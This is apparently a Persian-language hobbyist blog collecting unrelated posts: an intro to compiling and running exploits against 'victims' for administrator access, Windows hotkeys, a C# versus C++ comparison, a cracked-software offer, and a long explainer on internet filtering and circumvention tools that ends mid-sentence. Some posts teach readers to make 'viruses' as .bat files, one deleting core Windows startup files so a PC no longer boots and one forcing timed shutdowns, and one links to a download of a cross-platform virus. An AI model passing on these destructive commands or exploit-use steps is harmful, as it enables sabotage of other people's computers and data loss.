 اکسپلویت یک نوع کد و سورس یک برنامه است که معمولا با استفاده از باگ ها و اشکالات موجود در برنامه ها یا سیستم هایی که به اینترنت وصل هستند توسط یک نفر که به زبان های برنامه نویسی و بیشتر C وارد است نوشته می شود که بعد از کامپایل کردن آن می توانید به صورت راه دور و Remote و به وسیله ی آن باگ به کامپیوتر دیگران وصل شوید.اکسپلویت ها به دو زبان C و Perl نوشته می شوند و برای کامپایل کردن آن ها به کامپایلرهای مخصوص خودشان نیاز دارید مثلا اگر اکسپلویتی با زبان C دارید باید با Visual C++, Turbo C , LCC win32 نیاز دارید و برای آن هایی که به زبان پرل نوشته شده اند نیاز به برنامه ی Active Perl دارید

نحوه ی کامپایل کردن این اکسپلویت ها به صورت تصویری برای کسانی که در گروه Red Flag عضو شوند قرار داده خواهد شد

همه ی اکسپلویت ها فقط برای ویندوز نوشته نشده اند بلکه بیشتر و البته بهترین آن ها برای Linux نوشته شده اند سایت هایی که اکسپلویت منتشر می کنند مانند:

www.frist.com

www.securityfocus.com

www.eeye.com

www.openwall.com

نمونه ای از یک اکسپلویت

خوب از کجا بفهمیم اکسپلویت برای ویندوز هستش یا لینوکس؟

اگر در اوایل سورس یکی از نشانه های یا یا بود برای ویندوز و اگر یکی از نشانه های یا یا یا بود برای لینوکس است و اگر !/usr/local/bin/perl رو داشت برای پرل است

اکسپلویت ها بعد از کامپایل شدن یک Usage یا نحوه ی استفاده به شما می دهند که می توانید بر اساس آن ها از اکسپلویت استفاده کنید

مثال:

usage: jil

که باید به این صورت استفاده شود:

<پورت مورد نظر هکر بر روی سیستم خودش> <آدرس آی پی خود هکر> <آدرس پورت قربانی> <آدرس آی پی قربانی> Jil

خوب پس از اجرای این عملیات شما می توانید به سیستم قربانی حمله کرده و با سطح دسترسی مدیر Administrator وارد سیستم او شوید

Modem Errors

سلام

هر چند که ممکنه اکثرتون بدونین ولی کلیه خطاهای مودم رو براتون تو ادامه مطلب گذاشتم.

آشنایی با بعضی از کلیدهای میانبر ویندوز(Hotkey)

در این نوشته قصد دارم شما را با بعضی از کلیدهای میانبر که در خود ویندوز وجود دارند و به شما برای سریع تر رسیدن به اهدافتان کمک می کنند آشنا سازم.

شرح مختصر کلید ها :

ctrl+x : برای کپی کردن فایل ها به طوری که بعد از چسباندن فایل ها(Paste) فایل اول از بین می رود.

ctrl+c : برای کپی کردن فایل ها به صورت عادی.

ctrl+v : برای چسباندن فایل های اولیه از دو حالت (ctrl+x و ctrl+c).

ctrl+z : برای برگرداندن ویندوز به آخرین وضعیتی که قبل از حالت فوق داشته است.(Undo)

ctrl+y : برعکس کلیدهای ctrl+z

ctrl+d : برای اضافه کردن صفحه ای که در آن هستید به لیست علاقه مندی ها.(Favorites)

ctrl+Esc :نمایش منوی استارت.

Alt+Tab: برای سوئیچ بین برنامه ها.

Alt+Shift+Tab: برای سوئیچ بین برنامه ها به حالت برعکس.

Alt+space : نمایش منوی بالای هر صفحه.

ctrl+Alt+Del یا ctrl+Shift+Esc :آوردن Task Manager.

Windows Key+L : لاگ آف کردن از کاربر فعلی.

Windows Key+R : آوردن منوی ران.

Windows Key+D : نمایش صفحه اصلی (دسکتاپ).

Windows Key+E : نمایش جستجوگر پنجره ها (Windows Explorer).

Windows key+U : نمایش Utility Manager.

Windows Key+F : آوردن جستجوگر ویندوز.

F2 : نام گذاری مجدد فایل ها یا تغییر نام آن ها.

F3 : آوردن جستجوگر ویندوز.

F4 : انتخاب آدرس بار به همراه نمایش آدرس هایی که قبلا باز شده است.

F5 : تازه کردن صفحه یا حالت مشاهده شده.

F6 : انتخاب آدرس بار به صورت تنها.

F11 : تمام صفحه کردن صفحه ای که در حال حاضر در آن هستید.

تغيير حروف از بزرگ به کوچک در word

چنانچه بخشي از متن و يا تمام آن به اشتباه و يا عمدا" با حروف بزرگ انگليسي تايپ شده و تصميم داريد آنها را به حروف کوچک تغيير دهید بترتیب زیر عمل کنید

 کافي است پس از انتخاب نوشته دکمه هاي Shift+F3 را همزمان فشار دهيد تا متن به حروف کوچک تبديل  شود.

استفاده مجدد از همزمان کليدها بخش هاي انتخاب شده را به حروف بزرگ تبديل  خواهد کرد.

تفاوت C# و ++C چیه؟

 

 

میدونید فرق C# و ++C چیه؟ اگه میدونید که هیچی اگه نه این مطلب و بخونید حتما یه چیزایی دستگیرتون میشه!!!

اولا با C# فقط برنامه های تحت .NET میشه نوشت (در واقع C# برای .NET درست شده) ، اما با C++ هم برنامه های تحت .NET (managed) و هم برنامه های native میشه نوشت.

دوما هنوز برای کارهای سطح پایین (مثل Device Driver) و سنگین (مثل بازی های سه بعدی) C++ انتخاب اول و آخر محسوب میشه.

 C# خیلی راحتتر ، تمیزتر و خوش ساخت تر از C++ طراحی شده و از نظر شی گرایی هم پشتیبانی بهتری داره نسبت به C++ . C# کاملا شی گراست و اصلا نمیتونید برنامۀ غیر شی گرا در اون بنویسید ، در صورتی که با C++ میتونین هم شی گرا و هم غیر شی گرا ، برنامه بنویسید.

از ویژگی های C# :

1- مدیریت خودکار حافظه توسط CLR

2- پشتیبانی از یک نوع String داخلی

3- پشتیبانی از foreach

4- پشتیبانی کامل از delegate و event و interface و Property و attribute ها

5 - XML Documentation

6 – checked / unchecked keywords

و ...

در C# برای انجام تمام کارها از کلاس های .NET استفاده میشه ، در ضمن در C# چیزی به نام فایلهای Header و #include و از این حرفا نداریم. در واقع C# خیلی زیباتر از C++ طراحی شده ، چون به هر حال در طراحی C# از زبانهایی مثل C++ و JAVA و Delphi درس گرفته شده و اشتباهات اون زبانها در C# تکرار
نشده ؛ به عنوان مثال در C++ به تعداد انگشتان دست ، نوع دادۀ String داریم. یا Multiple Inheritance که خیلی دردسر سازه ، یا مثلا در JAVA ، enum ها و Operator Overloading و Pointer و Property ها که همگی جزو ضروریات محسوب میشن ، وجود ندارن. البته کسانی که میخوان کار سنگین یا سطح پایین در .NET انجام بدن ، معمولا همه قسمتهایی رو که امکانش هست با C# می نویسن و بقیه رو با C++ ؛ و در C# از کلاسهای نوشته شده در C++ استفاده می کنن . (Wrapper Classes ) در کل C# ، سطح بالاتر(High Level ) از C++ است ؛ در C++ حتی میتونید مستقیما از  کد اسمبلی استفاده کنید.
در ضمن C# اولین زبان Component Oriented در خانوادۀ C محسوب میشه.

خیلی تفاوتها و شباهتهای دیگری هم هست که در صورت پرداختن به اونا بحث خیلی تخصصی میشه ، فقط در یه جمله بگم : بزرگترین شباهت این دو زبان اینه که هر دو جزو خانوادۀ C هستن . و بزرگترین تفاوت اینکه : C# یک زبان type-safe هست (بر خلاف C++ ) و فقط  باهاش میشه برنامه های تحت .NET نوشت.

البته قصدم از این مطالب اثبات برتری C# به C++ نبود ، چون به هر حال برای برنامه های تحت .NET ، C# بهترین گزینه است و در جاهای دیگه هنوز هم C++ قویترین زبان دنیاست.

ساخت یک ویروس دوزیست (Cross Platform)

Cross-Platform Sample Virus PoC

نگارندگان ويروسهاي رايانه‌اي دومين نمونه از يك كد مخرب كه مي‌تواند هر دو سيستم عامل "ويندوز" و "لينوكس" را مبتلا سازد، به صورت محدود و كنترل شده منتشر كرده‌اند. (Cross Platform)

به گزارش سايت اينترنتي "سي‌نت نيوز.كام"، اين ويروس با نام "باي.اي" (‪ (Bi.a‬هم‌اكنون توسط نگارندگان خود به عنوان يك نمونه، به شركت روسي توليدكننده نرم‌افزارهاي ضد ويروس "كاسپرسكي"  (Kaspersky )ارائه شده‌است.

ويروس "باي.اي" به زبان برنامه‌نويسي "اسمبلر" نوشته شده و قادر است فايلهاي داراي فرمتهاي مورد استفاده در هر دو سيستم‌عامل "ويندوز" و همچنين "لينوكس" را آلوده كند.

كارشناسان عقيده دارند ويروس "باي.اي" اثبات اين مدعاست كه مي‌توان كدهاي مخربي با قابليت حمله به سيستم‌عاملهاي متفاوت ايجاد كرد و احتمالا در آينده شاهد انتشار ويروسهاي واقعي با قابليت مبتلا كردن سيستم‌عاملهاي مختلف خواهيم بود.

به گفته "سوا فرانتزن" از مركز بين‌المللي تحقيقات امنيت اينترنتي "سنس" (‪ ،(SANS‬احتمالا هم‌اكنون هكرها و نگارندگان ويروسهاي رايانه‌اي در حال مطالعه روي ويروسهايي با قابليت جهش از يك سيستم‌عامل به سيستم‌عامل ديگر هستند و در آينده ظهور اين ويروسها مي‌تواند مشكلات امنيتي قابل توجهي ايجاد كند.

 

       برای اطلاعات بیشتر و دریافت این ویروس به اینجا بروید : http://www.tweakness.net

ACDSee 8.0.67 PRO

این برنامه دیگه اونقدر نیاز به توضیح نداره . یکی از بهترین برنامه ها برای دسته بندی و ویرایش و نمایش و پرینت عکس ها که هیچ وقت از کامپیوتر من پاک نمیشه ! خب این هم اخرین نسخه از این برنامه که البته خوبیش اینه که professional هم هست . و به گفته شرکت سازندش جدید ترین برنامه ای هست که در این نسخه نمایش فایل های جدید RAW هم پشتیبانی می کند .

 لینک دانلود فایل | حجم فایل : ۲۴.۲ مگابایت
کرک در بخش نظرات 

ساخت ويروس بلاستر

براي اين كار ابتدا برنامه notepad را باز كرده و دستور زير را در آن تايپ كنيد

در خط اول @echo off

Shutdown –s –t XX  براي خاموش شدن سيستم پس از اتمام زمان تعيين شده

Shutdown –r –t XX  براي ري- استارت شدن سيستم پس از اتمام زمان تعيين شده

Shutdown –l –t XX  براي لوگ آف شدن سيستم پس از اتمام زمان تعيين شده

Shutdown –f –t XX  براي لوگ آف شدن سيستم پس از اتمام زمان تعيين شده

نكته !  در دستور ها بجاي XX  بايد يك زمان بر حسب ثانيه تعيين كرد

نكته ! توجه داشته باشيد كه هر يك فاصله را در دستورات درست بزنيد

نكته ! ضمنا مي تونيد دستورات را از اينجا كپي كنيد

نكته ! ضمنا براي پي از اجراي فايل درست شد چنان چه از كار خود پشيمان شديد مي تواند در run   اين دستور را تايپ و اكي كرد ---<   shutdown -a

خوب حالا بايد برنامه notepad  را با هر اسم دلخواهي ولي حتما با پسوند .bat  ذخيره كرد

ویروس 1

آموزش ساخت یک ویروس که اگر اجرا بشه پس از ریست ، کامپیوتر دیگه بالا نمیاد...

خوب اول یک

Notepad  یا همان Txt Document

باز می کنید بعد دستور زیر را توی اون کپی میکنید و با فرمت

Bat

سیو میکنید...

C:

del autoexec.bat
del config.sys
cd winnt
del system.ini
del win.ini

مثل:

Virus.bat

به جای کلمه ویروس هم اسم مورد نظر را بگذارید...

تقلب در بازی ها

فقط کافی است به این سایت بروید و تقلب هر بازی را دانلود کنید...........

http://www.game-over.net

فیلتر کردن محتویات اینترنت

فیلتر کردن محتویات اینترنت

تکنولوژی فیلتر کردن محتویات اینترنت امکان کنترل دسترسی کاربران به محتویات اینترنت را فراهم میآورد. اگر چه تمرکز اولیه این تکنولوژی در سطح فردی بود (مثلا به والدین امکان میداد دسترسی کودکان را به مطالب نامناسب محدود سازند.) این تکنولوژی امروزه به طور گستردهای در سطح سازمانها و کشورها به کار گرفته میشود. برای برخی از سازمانها مثل مدارس، کتابخانهها و شرکتها کنترل دسترسی به اینترنت یک اولویت مهم تلقی میشود. در سطح ملی نیز به طور فزایندهای از این تکنولوژی استفاده میشود. دسترسی به برخی از مطالب بدون توجیه قابل قبولی برای همه افراد یک ملت ناممکن میشود. تکنولوژیهای فیلترینگ محتوا مبتنی بر شیوه انسداد فهرستی از وب سایت ها است. این شیوه عمدتا در ترکیب با روشهای انسداد مبتنی بر کلیدواژهها قرار میگیرد تا به طور پویا و فعال محتوا را سانسور کنند. فهرستی از اسامی ( domain) سایتها و آدرس ( url) آنها بررسی و طبقهبندی شده و در اختیار نرم افزار فیلترینگ که تنها میتواند گروه محدودی از سایتها را فیلتر کند قرار میگیرد. زمانی که کاربران تلاش میکنند به یک صفحه اینترنتی دسترسی بیابند، نرمافزار فیلترینگ بانک اطلاعاتی خود را بررسی کرده و دستیابی به صفحاتی را که در آن فهرست هستند محدود میسازد. اگر انسداد با توجه به کلیدواژهها نیز فعال شده باشد، نرمافزار هر صفحه را بررسی کرده و اگر کلمات ممنوعه در آدرس، یا متن صفحه موجود باشد، آن صفحه را مسدود میسازد.

سیستمهای فیلترینگ مستعد دو گونه اشکال ذاتی هستند: "انسداد زیاد"( over-blocking) و "انسداد کم"( under-blocking). تکنولوژیهای فیلترینگ نه تنها گاهی برخی سایتها را به اشتباه فیلتر میکنند، بلکه گاهی بعضی از سایتها از دست شان در میرود. نکته کلیدی محرمانه بودن این فهرست ها است. اگرچه برخی از لیست های همگانی و منتشر شده در این زمینه وجود دارد (معمولا مربوط به سایتهای پورنوگرافيک)، ولی لیست های سياه تجاری و ليست هايي که در سطح ملی مورد استفاده قرار مي گيرند، معمولا سری هستند. لیستهای تجاری طبقه بندی شده معمولا جزو داراییهای معنوی تولیدکنندگان آنها محسوب شده و منتشر نمیشوند. اگرچه برخی از تولیدکنندگان لیست ها امکان کنترل کردن آنلاین اسامی را فراهم آوردهاند، اما در کل میتوان گفت که لیست های مورد استفاده برای فیلترینگ محرمانه هستند و برای بررسی و تحلیل مستقل در دسترس نیستند.

دول برخی کشورها، به لیستهای تجاری تعدادی از سایتها را افزوده و مورد استفاده قرار میدهند. سایتهای مسدود شده عمدتا مربوط به احزاب سیاسی مخالف يا مطبوعات، سازمانهای حقوق بشر، خبرگزاریهای بینالمللی و به طور خلاصه هر محتوای حساسیت برانگیزی برای دولت مورد بحث است. بسیاری از کشورها برای فیلترینگ بر روی زبان محلی خود تمرکز میکنند و به طور فزایندهای نیز وبلاگها و تالارهای گفتگوی اینترنتی را مورد هدف قرار مي دهند.

تکنولوژیهای گذر از فیلتر

در پاسخ به روش کنترل و فیلترینگ بکار گرفته شده از سوی دولتها ، روشهای بسیاری برای گذر کردن از فیلترینگ ایجاد شده است. طرح های متعددی برای توسعه تکنولوژیهایی که به شهروندان و نهادهای مدنی امکان مقابله و حفظ امنیت خود در برابر سانسور اینترنتی میدهد، انجام شده است. این ابزارها اصطلاحا "تکنولوژیهای گذر از فیلتر" نامیده میشوند. در حالت کلی این کار بدین صورت انجام میپذیرد که درخواست برای محتوای مورد نیاز فردی از کشوری که فیلترینگ را اجرا میکند، از طریق یک کامپیوتر واسطه که بوسیله فیلترینگ محدود نشده است به وبسایت هدف میرسد و محتوا از طریق کامپیوتر واسطه برای کاربر فرستاده میشود. گاهی ممکن است این تکنیک ها برای شرایط خاصی طراحی شده باشند یا کاربران در کشوری که دچار سانسور است به فراخور اقتضائات تغییراتی در آنها ایجاد کرده باشند. گاهی نیز ممکن است از این تکنیکها به شیوههایی غیر از آنچه هدف اصلی طراح بوده است استفاده شود.

بعضی از این تکنولوژیها توسط شرکتهای خصوصی ایجاد شدهاند و برخی نیز توسط گروههای فعالان اجتماعی یا هکرها. این تکنولوژیها از تکنیک های ساده و دمدستی و برنامههای ابتدایی تا تکنیکهای بسیار پیچیده رمزنگاری و پروتکل های اتصال شبکه پیشرفته را در بر میگیرد. با توجه به این گستردگی، برای کاربران ضروری است که ارزیابی از نقاط قوت و ضعف این تکنولوژیها داشته باشند تا بتوانند روشی را که مناسب شرایط آنان است انتخاب کنند.

بايد ميان "ارائه دهنده گان سیستمهای فیلتر شکن" و استفاده کنندگان آن تفاوت قائل شد. ارائه دهنده کسی است که نرمافزاری را در جایی که محدودیتی وجود ندارد روی کامپیوتر اجرا کرده و آنها را در اختیار کاربران در کشورهايي که اينترنت سانسور و مسدود مي شود، مي گذارد. از این رو برای موفقیت در گذر از فیلترینگ باید هر دو سوی آنها موفق باشند.

این مقاله در پی آن است که به کاربرانی که مایل به استفاده از تکنولوژیها گذر از فیلترهستند اطلاعات کافی در مورد گزینههای ممکن ارائه کرده و آنها را در ارزیابی اینکه کدام تکنولوژی برای آنها مناسب است کمک کند. این امر بوسیله تعیین نیازها و ظرفیت های کاربران درگیر با مساله قابل انجام است. در عین حال باید تعادلی بین سطح امنیت مورد نیاز و کارآمدی این تکینیک ها برقرار کرد.

فیلترشکنی موثر، امن و پایدار بوسیله پیوند دادن تکنولوژی مناسب با کاربر مناسب محقق میشود

تعیین نیازها و ظرفیتها استفاده از تکنولوژی

تکنولوژیهای فیلترشکنی برای کاربران مختلف با منابع متفاوت و میزان تخصص متنوع طراحی شدهاند. روشی که در شرایط خاصی کار میکند ممکن است شیوه بهینه برای حالت دیگر نباشد. ضروری است که تهیهکننده و کاربر تکنولوژیهای گذر از فیلتر سوالهای زیر را از خود بپرسند:
  تعداد کاربران احتمالی و پهنای باند لازم چقدر است؟ (برای تهیهکننده و کاربر)

  نقطه اتصال مبدا برای کاربران احتمالی کجاست و آنها به چه منظوری از آن استفاده میکنند؟

  چه حدی از تخصص وجود دارد؟ (برای تهیهکننده و کاربر)

  آمادگي نقطه تماس مطمئن که تکنولوژی فیلترشکنی را ارائه مي کند تا چه حد است؟(برای کاربر)

  در صورت گیر افتادن، مجازات محتمل برای استفاده از تکنولوژیهای گذر از فیلتر چقدر است؟

  آیا کاربر نهایی از ریسکهای امنیتی محتمل هنگام استفاده از یک تکنولوژی خاص، مطلع است؟

تعداد کاربران و پهنای باند موجود

برای تهیهکننده فیلترشکن ضروری است که تخمینی از تعداد کاربرانی که از آن استفاده میکنند داشته باشد و آن را با پهنای باند موجود متوازن سازد. کاربر نهایی نیز باید به پهنای باند در دسترس خود توجه کند، چون استفاده از این تکنولوژیها سرعت استفاده از اینترنت را کند میکند. کسانی که پروکسی های عمومی را ایجاد میکنند باید توجه داشته باشند که ممکن است برخی از افرادی که در منطقهای بدون سانسور زندگی میکنند نیز از امکانات آنها استفاده کنند. مثلا فیلترشکنها ممکن است برای دانلود یک فیلم کامل به کار گرفته شوند و این کار پهنای باند زیادی اشغال میکند. لذا ممکن است بخواهند دسترسی به فیلتر شکن را محدود کرده و یا مجموع پهنای باند در دسترس را محدود سازید. تکنولوژیهای مختلفی وجود دارند که همه یا برخی از این خواستهها را ارضا میکنند.

نقطه اصلي دسترسی و استفاده کننده

بسته به اینکه کاربران نهایی از کجا به اینترنت متصل میشوند و چه سرویسهایی دریافت میدارند، گزینههای مختلفی برای تکنولوژیهای فیلترشکن وجود دارد. مثلا کاربرانی که از کامپیوترهای عمومی یا کافینتها به شبکه متصل میشوند امکان نصب هیچ گونه نرمافزاری را ندارند و به شیوههای مبتنی بر وب محدود میشوند. کاربران دیگری ممکن است کاربردهایی غیر از مرورگر وب (HTTP)، مثل ایمیل (SMTP) و انتقال فایل (FTP) را مد نظر داشته از اين روی ممکن است بخواهند نرمافزارهایی را روی کامپیوترهایشان نصب کنند و تنظیمات کامپیوتر را دستکاری کنند. البته این نیازمند میزانی از تخصص برای کاربران است.

میزان تخصص تکنیکی

هرچه تخصص کاربران بیشتر بوده (و تعدادشان محدود باشد) گزینههای پیش رو برای گذر از فیلتر بیشتر است. کاربران غیر متخصص محدودیتهایی از قبیل نصب و راهاندازی و نیز هرگونه تغییر تنظیمات و قدمهای اضافی برای آماده سازی تکنولوژی عبور از فیلترها را پیش روی خویش خواهند داشت. این هم برای فراهمآورنده این فناوریها و هم برای کاربران نهایی حائز اهمیت است. استفاده نادرست از این فناوریها کاربران را در معرض خطرهايي قرار دهد که قابل اجتناب هستند.

در دسترس بودن افراد مطمئن

در صورتی که کاربران نهایی افراد قابل اعتمادی را در خارج از کشور بشناسند میتوانند گزینههای خود را بیشتر و بهتر سازند. اگر چنین کسانی در دسترس نباشند گزینهها به سیستمهای در دسترس عموم محدود میشود. اگر کاربری بتواند اين گزينه را بيابد مجریان فیلترینگ نیز مي توانند آنها را يافته و مسدود کنند. با وجود یک فرد مطمئن، کاربر میتواند به راهحلی مطابق با نیازهای خویش دست یابد و درعین حال برای اجتناب از ردگیری، ناشناس بماند. گذر کردن از فیلترینگ پایدار، موفق و بلندمدت با داشتن فردی قابل اعتماد در نقطهای که فیلترینگ وجود ندارد، سهولتي بيشتر مییابد.

مجازات محتمل

آگاهی از میزان مجازات محتمل برای کسانی که به دلیل استفاده از تکنولوژیهای فیلترشکن دستگیر میشوند، به شدت مهم و حیاتی است. شیوههای به کار گرفته شده بسته به شدت این مجازاتها، میتواند تغییر کند. اگر شرایط قانونی چندان سختگیرانه نباشد، کاربران میتوانند از شیوههایی استفاده کنند که علیرغم کارایی برای گذر از فیلتر، از لحاظ امنیتی چندان مطمئن نیستند. اگر محیط قانونی خیلی خطرناک است، باید از روشهایی استفاده کرد که پنهان و نیز ایمن باشند. برخی نیز ممکن است با یک پوشش قانونی یا سایر شیوههای ردگمکنی به کار گرفته شوند.

مخاطرات امنیتی

کاربرانی که از فیلترشکنها برای گذر از محدودیتها و انسدادهای اعمال شده توسط دولت بهره میبرند باید نسبت به مخاطرات امنیتی احتمالی از قبیل امکان ردگیری توسط مجریان فیلترینگ و اقدام متقابل مثل مسدود شدن و شناسایی و نظاره استفاده آنان، مطلع باشند. بسته به شیوههای بهکاررفته در انسداد و شیوههای مقابله، کاربران باید از مخاطرات احتمالی و اقدامات متقابل آگاه بوده و با بهکارگیری شیوه مناسب در موقعیت مناسب و با منش صحیح، این مخاطرات کمینه شوند.

گذر کردن از فیلترینگ به شيوه ی آنلاين

گذر کردن از فیلترینگ آنلاين صفحات خاصی از وب هستند که به کاربران اجازه میدهند در فرمهای مخصوصی آدرس اینترنتی ( URL) مورد نظر خود را وارد کرده و محتویات آن صفحه را که از طریق این فیلترشکنها گرفته میشود، مشاهده کنند. هیچ اتصالی بین کاربر و صفحه مورد نظر برقرار نیست و فیلترشکن صفحه مطلوب را بدون تغییرات به کاربر نمایش میدهد و به او اجازه میدهد صفحه مسدود شده را ببیند. فیلترشکنهای مبتنی بر وب هم چنین پیوندهای اینترنتی را به گونهای بازنویسی میکنند که مشتمل بر آدرس فیلترشکن نیز باشند و بدین ترتیب امکان ادامه کار بدون مشکل با وب را فراهم میآورند. (در غیر این صورت لینکها به آدرسهایی که فیلتر شدهاند اشاره میکردند و کلیک کردن روی آنها منجر به مواجهه مجدد با سد فیلترینگ میشد.) به هنگام استفاده از چنین فیلترشکنهایی کاربر نیازی به نصب نرمافزارهای خاص یا تغییر تنظیمات مرورگر خود ندارد. همه کاری که کاربر باید انجام دهد آن است که وارد صفحه اینترنتی مربوط به فیلترشکن شده و آدرس مورد نظر خود را (که مسدود شده است) در مستطیلی که مخصوص وارد کردن آدرس مهیا شده است تایپ کند و دکمه تایید را بزند. (ظاهر آنها ممکن است اندکی تفاوت کند اما اصول کار به شیوه فوقالذکر است.) از این رو هیچ تخصصی لازم نبوده و از هر نقطهای قابل دسترسی است.

مزایا :
  کار با فیلترشکنهای مبتنی بر وب ساده است و به نصب نرمافزار روی کامپیوتر کاربر نهایی نیازی نیست. -
  فیلترشکنهای مبتنی بر وب عمومی در دسترس کسانی است که فرد مطمئنی در نقطهای سانسور نشده سراغ ندارند.
  فیلترشکنهای مبتنی بر وب خصوصی میتوانند برای ارضای نیازهای کاربران تغییر داده شده و کمتر در معرض کشف شدن از سوی مراجع فیلترینگ هستند.

معایب :
  فیلترشکنهای مبتنی بر وب عمدتا برای استفاده از وب (HTTP) بوده و ممکن است از طریق "دسترسی رمزنگاشته(encrypted access)" (SSL) قابل استفاده نباشد. به علاوه برخی از سرویسهای وب مثل ایمیل ممکن است با این فیلترشکن ها خوب کار نکنند.
  فیلترشکنهای مبتنی بر وب عمومی معمولا شناخته شده هستند و ممکن است خودشان نیز فیلتر شده باشند!
  لازمه فیلترشکنهای مبتنی بر وب خصوصی آن است که کاربر نقطه امنيی در خارج از مرزها داشته باشد. در شرایط ایده ال دو سوی این اتصال باید بتوانند به سویه ای که قابل ردگیری نباشد با یکدیگر ارتباط داشته باشند.

Les serveurs proxies / changer les paramètres de son navigateur

سرویسهای عمومی گذر کردن از فیلترینگ به شيوه ی آنلاين

هم سرویسهای مبتنی بر وب و هم نرم افزارهای مربوط به گذر از فیلتر در دسترس عموم هستند. سرویسهای گذر از فیلتر به افراد، سازمان ها و شرکتهایی اطلاق میگردد که نرم افزار گذر از فیلتر را نصب و راه اندازی کرده اند و آن را در معرض استفاده عمومی قرار دادهاند. تنوع بسياري دراين زمينه وجود دارد. برخي رايگان بوده و برخي ديگر با پرداخت حق عضويت، امكانات بيشتري از قبيل دسترسي رمزنگاري شده (كه امكان ردگيري را كمتر ميسازد) پيش رو مينهند. برخي توسط شركتهاي تجاري به راه افتادهاند و برخي ديگر توسط افراد داوطلب.

فهرستي از آنها را در زير ميبينيد:

  www.anonymizer.com
  www.unipeak.com
  www.anonymouse.ws
  www.proxyweb.net
  www.guardster.com
  www.webwarper.net
  www.proximal.com
  www.the-cloak.com

با توجه به اين واقعيت كه آدرس بسياري از موارد فوق كاملا شناخته شده ميباشند، بسياري از برنامههاي فيلترينگ نام آنها را در ليست خود دارند و نيز كشورهايي كه روي دسترسي به اينترنت محدوديت ميگذارند آنها را مسدود كردهاند. در اين صورت آنها غيرقابل ستفاده خواهند شد. همچنين بيشتر فيلترشكن هاي عمومي مبتني بر وب محتواي انتقال يافته به كاربر را رمزنگاري نمي كنند. در اين صورت، هر اطلاعاتي توسط اپراتور فيلترشكن قابل ديدن است.

فيلترشكن هاي عمومي مبتني بر وب بيشتر براي كاربراني مناسب است كه در محيط هاي كممخاطره از اينترنت استفاده كرده و فرد مطمئني در نقاط بدون سانسور ندارند. اين فيلترها به درد كساني ميخورد كه به طور مقطعي و موقت نياز به دسترسي به اينترنت دارند و نياز به انتقال اطلاعات حساس و مهم ندارند..

نرم افزارهاي گذر از فيلتر به شيوه ی آنلاين (مبتني بر وب)

نصب نرم افزارهاي گذر از فيلتر معمولا نيازمند قدري تخصص فني و نيز منابع مناسب از قبيل ميزبان وب(Web server) و نيز پهناي باند مناسب است. با يك فيلترشكن خصوصي موقعيت كاربر فقط براي كاربران مورد نظر قابل شناسايي است در حاليكه فيلترشكن هاي عمومي و سرويسهاي ناشناس هم براي كاربران نهايي و

هم كساني كه فيلترينگ را اعمال كردهاند قابل شناسايي است.(كه عمدتا هم فيلتر شدهاند) احتمال شناسايي و انسداد فيلترشكنهاي خصوصي نسبت به عموميها كمتر است.

فيلترشكنهاي شخصي را ميتوان با اندكي تغييرات و تطابق با نيارهاي كاربر به راه انداخت. برخي از تغييرات رايج تغيير دادن نام پورت مورد استفاده توسط سِروِر و نيز اعمال رمزنگاري است. SSL(Secure Sockets Layer) پروتكلي براي انتقال امن اطلاعات در اينترنت است. اين پروتكل عمدتا توسط وبسايتها براي انتقال امن اطلاعاتي سري از قبيل اطلاعات كارت اعتباري و ... به كار برده ميشود. وب سايت هايي كه با اين پروتكل كار ميكنند به جاي HTTP معمولي از طريق HTTPS قابل دسترسياند. گزينه ديگري كه هنگام استفاده از SSL پيشنهاد ميشود ايجاد يك صفحه خالي و بي-ضرر در روت(Root) مربوط به سِرور وب و پنهان ساختن فيلتر شكن در يك آدرس و نام تصادفي است. اگرچه يك واسطه ممكن است وب سايتي كه كاربر قصد اتصال به آن را دارد كشف كند اما نخواهد توانست آدرس صفحه درخواست شده را دريابند چرا كه رمزنگاري شده است. مثلا اگر كاربري مايل به مشاهده صفحه زير باشد

https://example.com/secretcircumventor

يك واسطه ميتواند كشف كند كه كاربر بهhttps://example.com متصل شده است اما نميتواند صفحه مورد نظر را بيابد. اگر اپراتور فيلترشكن يك صفحه خالي در https://example.com قرار دهد آنگاه فيلترشكن كشف نخواهد شد.

· CGIProxy : يك متن CGI مانند پروكسيهاي HTTPS و يا FTP كار ميكند: o Proxy CGI

· فيلتر شكن صلح جنگ : برنامهاي است كه به صورت خودكار نصب ميشود و براي كاربراني كه تخصص فني ندارند فرايند نصب و استفاده از CGIProxy را بسيار تسهيل ميكند.

o فيلتر شكن صلح جنگ Peacefire

· pHproxy: يك فيلترشكن مبتني بر وب تجربي و بسيار قابل تغيير به فراخور نياز كاربر o proxy pH

· Psiphon: يك وبسِروِر كه قابليت SSL را داشته و يك فيلترشكن مبتني بر وب در خود دارد. http://Soon to be released

فيلترشكن هاي خصوصي مبتني بر وب كه قابليت رمزنگاري داشته باشند به كار كساني ميآيد كه يك اتصال به اينترنت پايدار و نيز قابل اعتماد نياز داشته و فرد مطمئني در نقاط فيلترنشده سراغ دارند. علاوه بر اين تخصص فني كافي و پهناي باند مناسب براي راهاندازي و نگهداري يك فيلترشكن را در اختيار دارند. اين منعطف ترين نوع ارتباط اينترنتي براي استفاده عمومي بوده و احتمال ردگيري و انسداد آن اندك است..

فيلترشكنهاي به شيوه ی آنلاين : ملاحظات امنيتي

بايد توجه داشت كه سيستمهاي فيلترشكن لزوما ناشناس بودن را به ارمغان نميآورند. اگر چه هويت كاربر نهايي از اپراتور سايتهايي كه از طريق فيلترشكن ديده ميشوند،مخفي ميگردد اما اگر ارتباط متني باشد (از طريق http) باشد، همانگونه كه عمدتا در سرويسهاي رايگان ميباشد، ردگيري و مشاهده آن براي يك حضور واسطه مثل ISP امري سهل است. از اين رو، اگر فرايند فيلترشكني با موفقيت انجام شود، نهادي كه فيلترينگ را انجام داده است ميداند كه كاربر از يك فيلترشكن مبتني بر وب استفاده كرده است. بعضي از فيلترشكنهايي كه براي متن ساده(Plain text) به كار ميروند (رمزنگاري نشده) اقدام به ايجاد ابهام در URL كرده تا فيلترهايي كه در URLها دنبال كلمات كليدي ميگردند گمراه شوند. به عنوان مثال استفاده از تكنيك سادهاي مثل ROT-13 كه در ان هر حرفي با حرفي كه 13 تا از آن جلوتر است جايگزين ميشود، آدرس http://ice.citizenlab.org به آدرس uggc://vpr.pvgvmrayno.bet تبديل ميشود. در واقع متن URL به رمز تبديل ميشود تا كلمات كليدي كه تكنولوژيهاي فيلترينگ به دنبالشان ميگردند در URL موجود نباشد. با اين همه اگرچه فيلترشكن موفق عمل كرده است، اما ممكن است محتواي صفحه ديده شده مورد رديابي واقع شود. مخاطراتي در مورد استفاده از كوكيها(Cookies) و اسكريپتها(Scripts) وجود 